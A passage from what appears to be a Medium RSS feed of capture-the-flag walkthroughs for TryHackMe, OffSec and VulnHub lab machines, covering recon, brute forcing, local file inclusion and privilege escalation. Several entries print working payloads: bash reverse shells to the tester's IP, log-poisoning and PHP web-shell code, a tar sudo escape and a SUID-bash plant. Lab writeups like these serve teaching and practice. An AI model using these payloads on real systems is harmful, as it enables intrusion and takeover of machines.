src="https://cdn-images-1.medium.com/max/533/1*vV1NaJywYajzJfcs2GGCFA.png" /></figure><p>Finally, we can read the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*EqNzkhIenZSJET6pcdHDvg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93a268e77d24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Bounty Hacker Walkthrough]]></title>
            <link>https://medium.com/@inotp/tryhackme-bounty-hacker-walkthrough-e4aa150534de?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4aa150534de</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 21:32:22 GMT</pubDate>
            <atom:updated>2026-10-11T21:32:22.192Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mtQwkgfzGNK8xB5RxWY5A.jpeg" /></figure><p>I wanted to do this machine for weeks, after some free time I did and wanted to share :)</p><h3>Recon and Enumeration</h3><p>I will use rustscan to find the open ports and use nmap to execute the scripts</p><pre>rustscan -a 10.66.172.176 --ulimit 5000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*Se4AFps543JdFZ-Ym90h3w.png" /></figure><p>As we know there are three ports running, let’s use nmap to run the default scripts</p><pre>nmap -p 21,22,80 -sVC -Pn 10.66.172.176</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*Gnn1bZAmbvgt43C1our6Wg.png" /><figcaption>nmap scan</figcaption></figure><p>Nmap found out the ftp has anonymous login enabled, we will check out after we visit the web port which is 80</p><p>The web port has a dialogue, with many names involved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SAuFCCYlEEGrlwwk1cpYZA.png" /><figcaption>index page</figcaption></figure><p>I did use fuzzing to find anything hidden like a directory or a file but no luck, the only info here is the names: spike, jet, ed, faye…</p><p>Let’s use the ftp and see if there’s any file</p><pre>ftp &lt;MACHINE-IP&gt;<br>ftp&gt; dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*dZu8xhQCp4lt2C0uaR2KeA.png" /></figure><p>there are two text files, let’s download both of them and read task.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*9js0d3kXamsYMlWE2LICBA.png" /></figure><p>This is the first answer for the question: <strong>Who wrote the task list?</strong></p><pre>lin</pre><p>it looks like there is someone called <strong>vicious and lin</strong> (another potential usernames), we will note everyname we got until now and save as a file named usernames</p><pre>spike<br>jet<br>ed<br>faye<br>lin</pre><p>The locks.txt file seems to be a wordlist, we can try to use this file to bruteforce these usenames</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*s2UUL4kCSK6QhuozXXcqfw.png" /><figcaption>locks.txt file</figcaption></figure><p>Let’s bruteforce the SSH using the username files and locks.txt as the password</p><pre>hydra -L usernames -P locks.txt ssh://10.66.172.176</pre><p>Which answers the second question</p><p><strong>What service can you bruteforce with the text file found?</strong></p><pre>SSH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3NgzNqCyhvcpqs8a7A3zw.png" /></figure><p><strong>What is the users password?</strong></p><pre>RedDr4gonSynd1cat3</pre><p>This is great news! We can now log-in as lin with the password discovered</p><pre>ssh lin@&lt;machine-ip&gt;</pre><p>With lin account, we can get the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*XUbdsznd94IET7yWrhAaAg.png" /></figure><p><strong>user.txt</strong></p><pre>THM{CR1M3_SyNd1C4T3}</pre><h3>Privilege Escalation</h3><p>My first idea is to check if the user has any privileges as sudo, using sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*3FwEKP-QJxy_UgedNQK1FQ.png" /></figure><p>We can use tar as root, using the help of GTFOBins website, we can use this command to get root shell</p><p><a href="https://gtfobins.org/gtfobins/tar/#shell">tar | GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAxTnVEvolotz56tMMv27w.png" /></figure><pre>sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rzfWpvR67eZHsnnCWD0dw.png" /></figure><p>Now that we got root privileges, let’s read the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*2I-4sJ5uqg6-L-DSI-mqXQ.png" /></figure><p>root.txt</p><pre>THM{80UN7Y_h4cK3r}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4aa150534de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OffSec PG — Solstice Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-solstice-walkthrough-315daeb67b58?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/315daeb67b58</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 22:31:01 GMT</pubDate>
            <atom:updated>2026-10-10T22:31:01.734Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*r3fF5Sm-uHaLIP9K" /></figure><p>Machine details</p><ul><li>Title: Solstice</li><li>Author: whitecr0wz</li><li>Difficulty: Easy</li><li>Community Rating: Hard</li><li>Flags: 2 (user and root)</li><li>Techniques: Enumeration, LFI, SUID, Log Poisoning</li><li>Operating System: Linux</li></ul><h3>Recon and Enumeration</h3><p>Before using nmap, I wanted to show you guys a faster scanning tool named rustscan. The link to rustscan repository is below</p><p><a href="https://github.com/bee-san/rustscan">GitHub - bee-san/RustScan: 🤖 The Modern Port Scanner 🤖</a></p><p>To find ports with rustscan we can use this command</p><pre>rustscan -a &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*s8b7vo1GrEG4uhh5elyzZQ.png" /></figure><p>many ports were found! let’s use nmap scripts to get the version for us</p><pre>nmap -p21,80,22,25,8593,62524,54787,3128,2121 -sVC -Pn &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wi7yZngivzoGf4NYzqatDg.png" /></figure><p>As nmap revealed many webports (<strong>Apache</strong> <strong>server</strong>) and ftp, we can take a look at these ports to find any vulnerabilities</p><p>Visiting the web port (80), it has a index page, on the footer we can know this server has php and uses phpIPAM with version 1.4, searching for it we can try to test vulnerabilities, but the server answer the requests with a 403 forbidden</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uujrTgIrHm4JUD3X4P-nCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*Ocw3gbfq4tcMGeZGaD4HKg.png" /></figure><p>So I got the idea of going to other ports, the port 8593 has a index page about setting a library (I visited the other ones but nothing interesting)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*systG52hhpJglb3xB_uyyg.png" /></figure><p>Let’s take a look at source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*sGmD2rgnfuxNYsIqp8Su2Q.png" /></figure><p>The index.php page uses a parameter named <strong>book</strong>. I wonder if we can try to use this to read files inside the machine, like <strong>local file inclusion (LFI)</strong></p><pre>http://192.168.166.72:8593/index.php?book=../../../../etc//passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ab-SBI8EGtOvEQ627dsng.png" /></figure><p>This confirms the machine is vulnerable to LFI! Other test is to see if we can <strong>read log files</strong>, as this machine is a apache one</p><pre>http://192.168.166.72:8593/index.php?book=../../../../var/log/apache2/access.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWpypjUI8fIRamT3OcX5fA.png" /></figure><p>This is amazing news, we can read the logs. We can do something called <strong>log poisoning</strong>, which is using the User-Agent header to create a payload to php run it!</p><p>First, lets setup a netcat listenet in our machine</p><pre>nc -lvnp 4444</pre><p>Now, we will use this payload to connect remotely</p><pre>bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;YOUR-TUN0-IP&gt;/4444 0&gt;&amp;1 2&gt;&amp;1&quot;</pre><p>after you replace the tun0 ip to yours, we will base64 encode it</p><pre>$ echo &quot;bash -i &gt;&amp; /dev/tcp/192.168.45.245/4444 0&gt;&amp;1 2&gt;&amp;1&quot; | base64<br>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjI0NS80NDQ0IDA+JjEgMj4mMQo=</pre><p>The base64 payload we will paste in this code, i will post the full code because medium does not allow to paste the full code for some reason</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*Wcwl5HRIiHHRbSRnwNI4Tg.png" /></figure><pre>shell_exec(base64_decode(&#39;&lt;base64codehere&gt;&#39;)); </pre><p>Now, you can use this code as User-Agent in curl</p><pre>curl http://192.168.166.72/ -A &quot;&lt;?php echo system(base64_decode(&#39;YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjI0NS80NDQ0IDA+JjEgMj4mMSI=&#39;)); ?&gt;&quot;</pre><p>After the request, we can read the logs again and get the connection!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*Ezg3oFHqLFvDA46LnkIFlg.png" /></figure><p>As this shell is not fully interactive, we can upgrade it. Let’s use these commands one by one</p><pre>SHELL=/bin/bash script -q /dev/null<br>export TERM=xterm</pre><p>Now, we will background this shell (Ctrl + Z) and use these commands</p><pre>stty -echo raw;fg;reset xterm</pre><p>You can type clear, and the reverse shell is now upgraded!</p><p>Inside the machine I tried to find any credentials, but no luck</p><p>Let’s see the SUIDS available</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*_PiGjqdC2F504cGlkdjxdA.png" /></figure><p>Maybe the pkexec can be a vector for privilege escalation?</p><p>In exploit-DB I found this code for the pwnkit exploit (<strong>CVE-</strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-4034"><strong>2021–4034</strong></a>)</p><p><a href="https://www.exploit-db.com/exploits/50689">OffSec&#39;s Exploit Database Archive</a></p><p>Basically we create the three files as mentioned in the text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*LsN7zJ8wLbSUhzYatKALEg.png" /></figure><p>I will create the files in /tmp folder and then use make all, after that we will run exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0q_BibLbW9IoxalZz5KZg.png" /></figure><p>We got root! Wit this we can read both root and user flags!</p><p>The user flag is at /var/www</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*Dj2BRrRRDw_6vRhMNI8WdQ.png" /></figure><p>The root flag is at /root directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*YUmUJCYHk9Zasm2nrTdbuw.png" /></figure><p>This is one way to get root, another method was taking a look at the server processes. The server has a php process running a webserver as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXq8097nkLrE1f3CDlUAIw.png" /></figure><p>As you can see, the server has a webserver running as root, <strong>on port 57 (localhost)</strong></p><p>Checking the permissions of /var/tmp/sv/, both the directory and the index.php has write permissions for anyone!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*sVUzQp5ZeW-0MGlvqTsEoQ.png" /></figure><pre>echo &quot;&lt;?php system(&#39;chmod u+s /usr/bin/bash&#39;); ?&gt;&quot; &gt; index.php </pre><p>And then we can use curl to do a GET request on port 57</p><pre>curl localhost:57</pre><p>Finally, we can execute bash -p to get root :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*v02Ne2GTEqlvA5owoEnPWA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=315daeb67b58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Shenron 1 Walkthrough]]></title>
            <link>https://medium.com/@inotp/vulnhub-shenron-1-walkthrough-0cefea97e0b4?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cefea97e0b4</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Fri, 02 Oct 2026 00:51:01 GMT</pubDate>
            <atom:updated>2026-10-02T00:51:01.872Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/422/0*kp6iWI9rj6Oktfc0" /></figure><h3>Machine details</h3><ul><li>Title: shenron: 1</li><li>Author: <a href="https://vulnhub.com/author/shubham-mandloi,768/">Shubham mandloi</a></li><li>Difficulty: Easy</li><li>Flags: 2 (user and root)</li><li>Techniques: Enumeration, CMS, Sudo</li><li>Operating System: Linux</li></ul><h3>Recon and Enumeration</h3><p>As always, let’s do a nmap scan to find ports and services running</p><pre>IP=&lt;MACHINE IP&gt;<br>nmap -p- -sVC -Pn $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*-BVi1SlJLenqPGqdEKWzDg.png" /></figure><p>Nmap scan reveals it has only SSH and a webport runnning (80). Let’s visit the webport, as don’t have any credentials</p><p>The index has a Apache2 default debian page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zy1vDBelKaJ7jQfNR9tuPg.png" /></figure><p>Maybe using a fuzzer like gobuster can reveal hidden directories or files</p><pre>gobuster dir -u http://&lt;MACHINE-IP&gt; -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,txt,php,zip,bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*L-IRLByidl_0IICmqCfqWw.png" /></figure><p>We have found two directories: test and joomla. Let’s visit joomla. We can see it has only a login page and a title named home</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_zC9drFkOEuacdnJNlhZg.png" /></figure><p>However, the test directory has a sensitive file named password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*sTjUsOH6lxxx0S8KQhC22w.png" /></figure><p>Doing a curl request, it reveals a name and password in html comments</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*oNwRnZoEqGFeuK9zI4Wghg.png" /></figure><pre>admin:3iqtzi4RhkWANcu@$pa$$</pre><p>If we try to login using these credentials we will succeded, but nothing happens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*iQs2tADRdC0-052Qocc56Q.png" /></figure><p>A quick search on joomla documentation will tell us the admin panel is at /administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lgW503NeOUXpTShHGzvTgA.png" /></figure><p>If we do this, we will be redirected to a login page with a background in blue color</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*UxnpnYRKFeyXCT2vYxyIew.png" /></figure><p>After we log-in we we will be redirected to a dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3r2mgrfZg162IZa-pEfHA.png" /></figure><p>Let’s go to Templates, it’s on the left side above configuration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbStEBRF7vExDt40_cssHw.png" /></figure><p>Now that we are in the templates, we will click on “Templates”, above Styles on the left side</p><p>We can choose either Beez3 or Protostar, in our case the protostar one will help us get RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GuzBWeW3VaiaS6kn74_dDA.png" /></figure><p>Many files on the left side will appear, we will choose error.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*h27S-jPkxAmxkboX2BRgRw.png" /></figure><p>After &lt;?php line we will add this code</p><pre>system($_GET[&#39;cmd&#39;]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecK0S0tSXUnT8Uvgsj_tjw.png" /></figure><p>After you save the changes, we can visit this url to see if this has worked well</p><pre>http://192.168.56.125/joomla/templates/protostar/error.php?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*5FZEKqUqSpDsswjLGjxwdQ.png" /></figure><p>If you see the same message, congratulations you got a Remote Command Execution (RCE)!</p><p>Now, we will use a reverse shell to our machine, setup a netcat listener in your attacker machine</p><pre>nc -lvnp 4444</pre><p>In the victim machine we will use this payload</p><pre>bash -c &quot;bash -i &gt;&amp; /dev/tcp/YOUR-IP-HERE/4444 0&gt;&amp;1 2&gt;&amp;1&quot;</pre><p>But before using this payload in the cmd parameter, make sure you url encode it. Use this website to decode for you</p><p><a href="https://meyerweb.com/eric/tools/dencoder/">URL Decoder/Encoder</a></p><p>After you encode it, it will look like this</p><pre>http://192.168.56.125/joomla/templates/protostar/error.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F4444%200%3E%261%202%3E%261%22</pre><p>If you receive a message in your netcat, this means it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*AYP6WshTPLyQIOk2VKP1lA.png" /></figure><p>But this reverse shell is not upgraded yet, use this command to get a tty, thanks for <a href="https://0xffsec.com/handbook/shells/full-tty/">0xffsec</a> for the code</p><pre>SHELL=/bin/bash script -q /dev/null</pre><p>After that, background the shell using Ctrl + Z and use this command</p><pre>stty -echo raw;fg;reset xterm</pre><p>Now we can use even arrow keys in the shell :D</p><p>In /var/www/html/joomla there is a file named configuration.php having user and password for database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*pK_cGx32fsSM3IUSws_YLw.png" /></figure><p>In the /home folder we can confirm a user named jenny, we can use the same password we got earlier to switch user!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*NSKAV2LTfNIPKzGJP8KO3A.png" /></figure><p>Using sudo -l, we can use cp command as shenron</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*CeuKNtvaM4YBwSEdA0P5vA.png" /></figure><p>As this machine has ssh, we can create a id_rsa file and send to shenron ssh folder, so we can login without password</p><p>Go to tmp folder and use this command</p><pre>ssh-keygen -f /tmp/id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*Itxm3_0OUbEfqQSK7E26Aw.png" /></figure><p>Now, we will copy id_rsa.pub file and send to ssh folder</p><pre>sudo -u shenron cp id_rsa.pub /home/shenron/.ssh/authorized_keys</pre><p>After that, we can log-in as shenron using the id_rsa</p><pre>ssh shenron@localhost -i id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*7vkzWJO4CjHndfAzNmLvKA.png" /></figure><p>In shenron’s account we can get the local flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*-GblGMUQID6GTf3ORhAxYw.png" /></figure><p>To privilege escalation, we may need to use a kernel exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*w9tcgC3rzsEDzrWKR3qb_Q.png" /></figure><p>This version is vulnerable to CVE-2021–3493 named as OverlayFS</p><p>This repo in github has a C code we can use to exploit it</p><p><a href="https://github.com/briskets/cve-2021-3493">GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*VavDSVOfRrBYEagXL-Tqzg.png" /></figure><p>To finish the machine, we can read the root flag at /root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*jJEFf8-elpL4TtNrbD36YQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cefea97e0b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub — Cheesey: Cheeseyjack Walkthrough]]></title>
            <link>https://medium.com/@inotp/vulnhub-cheesey-cheeseyjack-walkthrough-535fe92b9360?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/535fe92b9360</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 00:46:01 GMT</pubDate>
            <atom:updated>2026-10-01T00:46:01.581Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/422/0*7SkqqJCk8asVjPSo" /></figure><h3>Machine details</h3><ul><li>Title: Cheesey: Cheeseyjack</li><li>Author: Cheese</li><li>Difficulty: Easy</li><li>Flags: 2 (user and root)</li><li>Techniques: Enumeration, SMB, CVE, Bruteforce</li><li>Operating System: Linux</li></ul><h3>Recon and Enumeration</h3><p>As always, let’s do a nmap scan to find ports and services running</p><pre>IP=&lt;MACHINE-IP&gt;<br>nmap -p- -sVC -Pn $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJClXGhZvYn7tipyZt5KjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wj_BTjlmsFZZ7k-1hrPZxg.png" /></figure><p>This machine has multiple ports open, we should take a look at the SMB, NFS and web ports. In my case, I want to check the SMB protocol and the nfs</p><pre>smbclient -N -L //&lt;MACHINE-IP&gt;/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HuB3p666ifA4yUFfUGzDaw.png" /></figure><p>It seems there is not a share available for null sessions, maybe if we get credentials we can do something later. Let’s focus on the nfs, as nmap reported a mountd service on rpc port, we should check if there is any directory available like /tmp</p><pre>showmount -e $IP </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*OeqFtVgOMH-3KpCqoHijwg.png" /></figure><p>We can mount the /home/ch33s3m4n directory and also we get a user from the machine, great info!</p><p>Now, let’s mount this share and then see the contents</p><pre>mkdir /tmp/mount<br>sudo mount -t nfs $IP:/home/ch33s3m4n/ /tmp/mount -nolock</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*2wD02VwLabrfOy7viJ431Q.png" /></figure><p>But unfortunatelly, this is a share read-only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*VlsJiFIa4qtxWUouSIS1nQ.png" /></figure><p>So I went to web server to get more info and see if there is something interesting, the index page has only a message saying it’s under construction</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAK3ys96kEvfo3kjBqi_Iw.png" /></figure><p>Using gobuster might help us find hidden directories</p><pre>gobuster dir -u http://192.168.56.134/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,php,txt,js,bak,db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTcuZPfXnZGzdGki40M9NA.png" /></figure><p>I will check the it_security directory first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*HWcCdnh7FA7R-tDFyTTBUQ.png" /></figure><p>We can read the note, two users can be noted which is cheese (probably the one we got earlier) and crab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*WtUwJcHfOg7Ag5wdutSSNQ.png" /></figure><p>This message is interesting, we could use a bruteforce tool to get its password. But let’s enumerate more!</p><p>The project_management has a login page, with a software showing a version (<a href="http://qdpm.net/">qdPM 9.1</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*SMNcJCYJJsWzbw57mtYWgA.png" /></figure><p>With searchsploit, we can be for sure there is a lot of exploits available</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*JPQovHw_x_B0EJvYEPqa_A.png" /></figure><p>Reading the decription of the code, we need a credential to use it. It seems this exploit explores the file upload functionality</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*MfZE6_WsX9kw0E0-g_Hd2A.png" /></figure><p>Using the password forgotten, we can enumerate which user is active on the platform</p><p>I went to index page again and searched for any contact info and got this email</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*K7VMCUPjO5jNFbiZGycApA.png" /></figure><p>But we will receive this message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*T7fcaVR_q5c7jJyTSBdldg.png" /></figure><p>However, as we got the info about cheese home’s account (ch33s3m4n), it’s worthy try <strong>ch33s3m4n@cheeseyjack.local</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*WR6gQtlFTVIkpjBQiknrww.png" /></figure><p>As my first bruteforce try was to use rockyou wordlist, it failed. However, I got the idea of using cewl to make a custom wordlist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*6hjxmq0xB5fqwHbrXMPoqA.png" /></figure><p>As this wordlist has more or less 153 words, we can use tools like Burp Suite intruder to do the bruteforce! Indeed, we can find the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8CoeWBXerv1vouKBkJIlw.png" /></figure><pre>ch33s3m4n@cheeseyjack.local:qdpm</pre><p>After we log-in, we will be redirected to dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxnYRkJMF7ujgtI04wAwLw.png" /></figure><p>Clicking on the photo we can change the profile picture, let’s try to upload a file named shell.php with those contents</p><pre>&lt;?php echo system($_GET[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*niaENM5J6AVGw_ur5Lz8WQ.png" /></figure><p>It seems the upload has worked pretty well!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wKm74HeRLbpkRjBt9z0wSg.png" /></figure><p>After a little fuzzing, this project_management directory has another directory named uploads</p><pre>http://192.168.56.134/project_management/uploads/users/955738-shell.php?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIjf3ryk5pYZYgd8hbFKsA.png" /></figure><p>My first objective was to enumerate users, it looks like there are two of them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*4iWAoT8Ekv6GlPLv-pl_sw.png" /></figure><p>We haven’t checked the crab user, let’s see if there is something interesting to read</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*NojFBCqVjFmEWfJBOyKKfQ.png" /></figure><p>We can read the todo.txt file. The user crab has made a backup of ssh files on /var/backups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*pGHArbbusa_AObpZvo9AUA.png" /></figure><p>On /var/backups there is a directory named ssh-bak</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*xAbz13M1RFnRR6tmivsD1w.png" /></figure><p>There, we can read a file named key.bak, which is the id_rsa of crab</p><pre>http://192.168.56.134/project_management/uploads/users/955738-shell.php?cmd=cat /var/backups/ssh-bak/key.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*x0QjwxJzYxVqVpwGMVn8cA.png" /></figure><p>We will save it in our machine as id_rsa, don’t forget to set the right permissions!</p><pre>chmod 400 id_rsa</pre><p>Now, we can log-in as crab using the file</p><pre>ssh crab@&lt;MACHINE-IP&gt; -i id_rsa</pre><p>In the machine (finally), there is not a user flag. However, we can use a command with sudo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*MzPIqgTaDYBsobTdUiMbMg.png" /></figure><p>Take a look at the <strong>/home/crab/.bin</strong> line, this means we can execute <strong>ANY</strong> file in this directory as root. Let’s copy the bash file to execute sudo bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*cxpWxIhV1cFEshFqoRlEvw.png" /></figure><p>To finish the machine, let’s get the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Fv8lpoPt5xNams_Mk4sUiQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=535fe92b9360" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub — DC: 6 Walkthrough]]></title>
            <link>https://medium.com/@inotp/vulnhub-dc-6-walkthrough-a878aa3183e1?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/a878aa3183e1</guid>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 00:11:01 GMT</pubDate>
            <atom:updated>2026-09-29T00:11:01.999Z</atom:updated>
